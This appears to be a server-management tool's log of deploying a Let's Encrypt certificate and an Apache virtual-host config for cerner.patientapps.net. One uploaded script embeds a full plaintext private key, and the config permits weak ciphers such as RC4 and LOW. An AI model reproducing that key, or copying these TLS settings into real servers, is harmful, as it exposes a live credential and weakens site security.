M1fbLHioLccLCuievT8ZkPhZrq7Mii7gNXAcUEAR8+lzYal+9zTg7C5DALyVOeG/
CqfRAMn1KSHCR0NSA6P8tn/mGRlnCct5rtVCLnVySVpU6H1qGg3DgTOuskf8eahT
MiYbI5ezPJmO5ertalskQ1utp74+eDy92PI4ftHKTbq9IWhH4YZKh3WnJEIt+oQv
lYZbY8tpEroKrFB6PFGzrJIDRyts4HqvuH52RFj2zv/BAgMBAAGjgeswgegwDgYD
VR0PAQH/BAQDAgEGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdEwEB/wQFMAMB
Af8wHQYDVR0OBBYEFN7nW2DQIm1AKH0/DQH+pLVStFGUMB8GA1UdIwQYMBaAFHm0
WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcwAoYW
aHR0cDovL3gxLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAECATAnBgNV
HR8EIDAeMBygGqAYhhZodHRwOi8veDEuYy5sZW5jci5vcmcvMA0GCSqGSIb3DQEB
CwUAA4ICAQA8spSI95KKfn2W6GMmDpHBJSPaLbsS3W93cijJCRCYAc1fsJgL1FIL
7C0C9ecPOdcwB2fi0Dk2p94j9iTJCxmt5CFSKLRWwnXT2MMSXexVxqoVB79BdWPx
VXETkVme/qYSAuKVHh5Ps+5BixgmwS1JkjSAc+MfrUbNssVEEnH0aEiAh+rotXAV
JSP/Ye7LJPEwD9DWG72vVWbhAcuOf5OLjz57Ctk7MgQHynZ7+PlHJtajroCaIbtC
r6tcZZaAwUQm+jQyeWdV+2hv9deOYFmKeQyjjcSrN5Nadrw+L9DZJLbA1HqeNvLh
BgqpP0fvJq2N6EtD574N6eMI7uMsJTnji2UDz9el5XLSv9fqJMuDQtYVb2oTNoKp
oUqhxPVC0aq4eG5MESaIdn8b5ZGSSeAJLMHXljEdlNza+ncfkviXk1POLnnFdvx8
/gk6M374WbLWFXw8N141B/Rl/tINGfl1TxOIiqtiMYkL02RSGb1kq34BL9NPP27z
RGMuHGnzS3hFIrRTfKxrzUZ9RzQWzEG3K6fJ3r2nqSltkeytis9DIBoFY9VmVyjL
M71DMi+y1+TRSJVClEMwvA4yL++7q9XZx5r5wBRWB4kQTKH5qyoZnDw7iiuh1lID
yDFx8r7i9vIJU5HS3moZLkYWAOilMaV9N56A9Bgb6dNcHkvg3NoaYA==
-----END CERTIFICATE-----






2026-06-28 06:00:15: Establishing a connection
2026-06-28 06:00:16: Establishing a connection
2026-06-28 06:00:16: 

PUT: /tmp/pkp589208

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_backup/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-28 06:00:16: 

chmod 755 /tmp/pkp589208; /tmp/pkp589208; rm /tmp/pkp589208

2026-06-28 06:00:16: 


1


2026-06-28 06:00:17: Establishing a connection
2026-06-28 06:00:17: 

PUT: /tmp/pkp369404

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cat > K6kQ760HGD34Uxe9Ao36Z-CG_PkXgNdloXXWx515cro <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
K6kQ760HGD34Uxe9Ao36Z-CG_PkXgNdloXXWx515cro.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 K6kQ760HGD34Uxe9Ao36Z-CG_PkXgNdloXXWx515cro


2026-06-28 06:00:17: 

chmod 755 /tmp/pkp369404; /tmp/pkp369404; rm /tmp/pkp369404

2026-06-28 06:00:17: 




2026-06-28 06:00:18: Establishing a connection
2026-06-28 06:00:19: Establishing a connection
2026-06-28 06:00:19: 

PUT: /tmp/pkp185678

#!/bin/bash
if [ -d "/var/www/patientapps_preview/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-28 06:00:19: 

chmod 755 /tmp/pkp185678; /tmp/pkp185678; rm /tmp/pkp185678

2026-06-28 06:00:19: 


0


2026-06-28 06:00:58: Establishing a connection
2026-06-28 06:00:58: 

PUT: /tmp/pkp421661

#!/bin/bash
temp_file=$(mktemp)
TARGET=9165176ee0fe7a5f957c52572458ff70.crt

cat > $temp_file <<'endmsg'
f4:f3:c2:39:e1:d6:7b:26:60:35:4f:b7:1a:0f:c5:a9

-----BEGIN CERTIFICATE-----
MIIFCDCCA/CgAwIBAgISBUiI22Wy1qLRoQit7T7hj79fMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjI4MDUwMjI3WhcNMjYwOTI2MDUwMjI2WjAhMR8wHQYDVQQD
ExZjZXJuZXIucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEAq9/jYUWs0ZUoazHfm6lLvuR6L2ykCdZh/Jqu4ZH1Ftp3Bv9/1TBw
qtQ8yYiWkORkduHeTFLMLzdMhcwZOFgcT8kpJBAR6UpHGaCqwY9GYUtIx6KxOjiy
8CMiqUEb5PzhzbvDdehMIh2bBWObi6RRkcgDHwNeSaXua/HApWGV0StrPnnh/R61
RqODUOur2+nzR/DTmGremgRrdij4EGjnIKeLnK0WJVUqCFegL44Vy7YAVpAl2FTt
azJQfYjVtZmn6x+hBapDuRYygagRmbuH2/REqc/1xdbXHd4cVeRkmKWdtK5XzOd+
qWoMT6cHI31g+3Wsqff0O24GA9YXZSPf/QIDAQABo4ICJjCCAiIwDgYDVR0PAQH/
BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFE+CmAgjFJxBD2oyEavFuoH0jghBMB8GA1UdIwQYMBaAFB8vNb5GFILNQLGu
eSxVePr31Gj7MDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3ly
MS5pLmxlbmNyLm9yZy8wIQYDVR0RBBowGIIWY2VybmVyLnBhdGllbnRhcHBzLm5l
dDATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8v
eXIxLmMubGVuY3Iub3JnLzk2LmNybDCCAQ4GCisGAQQB1nkCBAIEgf8EgfwA+gB3
AMijxH/Hs625NWsBP2p6Em3jOk5DpcZG+ZetOXWZHc+aAAABnwzRF4YAAAQDAEgw
RgIhAIxufdsWjm0dbOgmCTiioAc4oDFMljrm1g0BXwNSfHLQAiEA4n6y+OnLsrrJ
H3SGVspNDEUsXFzpTiRjWXFmsLeHj4QAfwAai51rD/6/gbR5OcbSMQqG1tEC1PBG
4hgsneNfXiYl7wAAAZ8M0RotAAgAAAUAI936owQDAEgwRgIhAPntYUwe2vaCdBfm
9wRR/+Q503oBaSYEhqei6t376IlJAiEA3meWc7FxXUMoIvDoWN4mb6zUkjzYoHqR
Etjry79yorYwDQYJKoZIhvcNAQELBQADggEBACizcvqsJL+5P41gZHtTzDv2boNg
pdgBKoy0QR86xidsAvukcw8Gs5KMaOuUhsEwbTNCSM7rvpJA6nLIFPaQxwDOmFmd
74uG4uUOHxZ/VDalvId8ATnKv1inxWIAxhcAU/2i32Uve2STcMwg0MQWV4kK2AWQ
t1S2kj3T2ndxYuUQPlaeMa/xNhWZdo7MhQ7D/Lu758d7iCmu8jwaAqnux9l09Onm
MUqD2J8oxihJqakxux4Soyo1GpxUGqHpb5wFjaN/4AECJprIfzPLhhD0ZUPuUiRj
PVVZsxLtxNX892SrvpPXNThuP5WsS6tw5s1cVF3F8AlH2Y91zN1GXa58ZPk=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCr3+NhRazRlShr
Md+bqUu+5HovbKQJ1mH8mq7hkfUW2ncG/3/VMHCq1DzJiJaQ5GR24d5MUswvN0yF
zBk4WBxPySkkEBHpSkcZoKrBj0ZhS0jHorE6OLLwIyKpQRvk/OHNu8N16EwiHZsF
Y5uLpFGRyAMfA15Jpe5r8cClYZXRK2s+eeH9HrVGo4NQ66vb6fNH8NOYat6aBGt2
KPgQaOcgp4ucrRYlVSoIV6AvjhXLtgBWkCXYVO1rMlB9iNW1mafrH6EFqkO5FjKB
qBGZu4fb9ESpz/XF1tcd3hxV5GSYpZ20rlfM536pagxPpwcjfWD7dayp9/Q7bgYD
1hdlI9/9AgMBAAECggEABplYxVgTv9NCg0UdsQARxrFGiLIa5T7MMdLtkn8UYi1+
ou/l5FVRChoOgG1kXIlMWy0maBdIvCpbH4r7z+hAJAcU84vDaEngC3mZ/McHvH4T
vAiA1fut0R8EOmvjyom0EL5cDZee7rNky5LsurKTKC3+Aq+SK/E5Q387do4V3rtE
HUChWCnAH80ni29WjbKiKzhI/MLpL59KpcWWZWkDOGYF4C5Cz86/Rt1pvj0uOuns
FN9lTu81qU4a4f+QTZm+8ja2H3wGNqPVM6cr4wCOYv6NeYsqiYbLqp/vPIJVyipv
V0joQES3CvEp8E3KkYTxRRhL5NkCrV6zRrL4XoivaQKBgQDlk4WBJ3+P+phTy+Pk
pfgQXaoqgMOy+hg5st+BlvXiWvWDRfBr5OeJnBBchT85YcXhYcj4k+716qx46pLR
Xm167VZL+ok3XIsaVQzOw141DZtovtWeyRp/+mSsAQt68AEq84lxfPLAI8NxZgX0
DOpvI6TEKKxqhVEvcEBBgQLPlQKBgQC/qC7KtvATNSzM7P5rXMo/Tw2J4Rsh58Cf
bkKnlsjl9Ffjvjd9Z0LPvthvOCo8+sxivCmqunBVm90J2RB9PYEFZMfmJ189yjAA
5yhEUgIgQx+14hy+o640Wh+KlfPrXOAD/VKgp4FxT9Xf+JY6GUteFtYfm3ohuJ4i
Gi+bSgpUyQKBgQCTXUKRSR1k+mLVR0ed+btmJfmZFtaICGmMf/lgYdqr1d9KyJYv
a9wERR1rhkyzNMOkjPRIPA1j5aOYalqb8pUsFzURyFxUIR9ZY8a44keSno1nizfs
mQJdrAj7MCCCZZUaUQGky6O3Gj3WiLrBkZjahnK5R7KFHdajMNbONVXskQKBgQCC
UUdPy0g+pz+JL/Rm6DcVCRm5kPiz+zM8tOpZret4gMZqMuLkQBxryea86UG/KQFk
eXETh6XucAbCNXhC0Fk0Y6yQ0GCwURSG6Ka2ndSYP0wGjnLhJcbEDiu4PfIXLZWc
4NkYKA2aEKDqo8ryQlS+62Q5JazL1Q6hPZD1VEjmEQKBgQCs+FB7HJbqSX1ZNSbY
3vFeogKWko4heMBuNDo0fJmH7V67oICZqJMAW3ci3J10jjZf3xhdvnYD2CSVjBVx
fsXXXy+06rhWllMO37V6mk/j7yY6sYuOpE43A/XFkSpTaoUh7yppHzNt3sDWpga9
snqkOoO9LYZaxgzngFu55swfsQ==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-06-28 06:00:59: 

chmod 755 /tmp/pkp421661; /tmp/pkp421661; rm /tmp/pkp421661

2026-06-28 06:00:59: 


dir=/etc/ssl/certs


2026-06-28 06:00:59: 

PUT: /tmp/pkp902947

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_cerner_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-28 06:00:59: 

chmod 755 /tmp/pkp902947; /tmp/pkp902947; rm /tmp/pkp902947

2026-06-28 06:00:59: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_cerner_net.conf 46

<VirtualHost *:80>
    ServerName	cerner.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_preview/public
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/cerner_access.log combined
    ErrorLog	/var/log/apache2/patientapps/cerner_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	cerner.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/9165176ee0fe7a5f957c52572458ff70.crt
    DocumentRoot	/var/www/patientapps_preview/public
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/cerner_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/cerner_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-06-28 06:00:59: 

PUT: /tmp/pkp984823

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_cerner_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_cerner_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	cerner.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_preview/public
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/cerner_access.log combined
    ErrorLog	/var/log/apache2/patientapps/cerner_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	cerner.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/9165176ee0fe7a5f957c52572458ff70.crt
    DocumentRoot	/var/www/patientapps_preview/public
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/cerner_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/cerner_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_cerner_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_cerner_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_cerner_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_cerner_net.conf= 1'
fi


2026-06-28 06:00:59: 

chmod 755 /tmp/pkp984823; /tmp/pkp984823; rm /tmp/pkp984823

2026-06-28 06:00:59: 




2026-06-28 06:00:59: 

PUT: /tmp/pkp999035

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-28 06:00:59: 

chmod 755 /tmp/pkp999035; /tmp/pkp999035; rm /tmp/pkp999035

2026-06-28 06:00:59: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-28 06:00:59: Establishing a connection
2026-06-28 06:00:59: 

PUT: /tmp/pkp171821

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-28 06:00:59: 

chmod 755 /tmp/pkp171821; /tmp/pkp171821; rm /tmp/pkp171821

2026-06-28 06:00:59: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
                 alias www.ma1-rcl.myapp.care
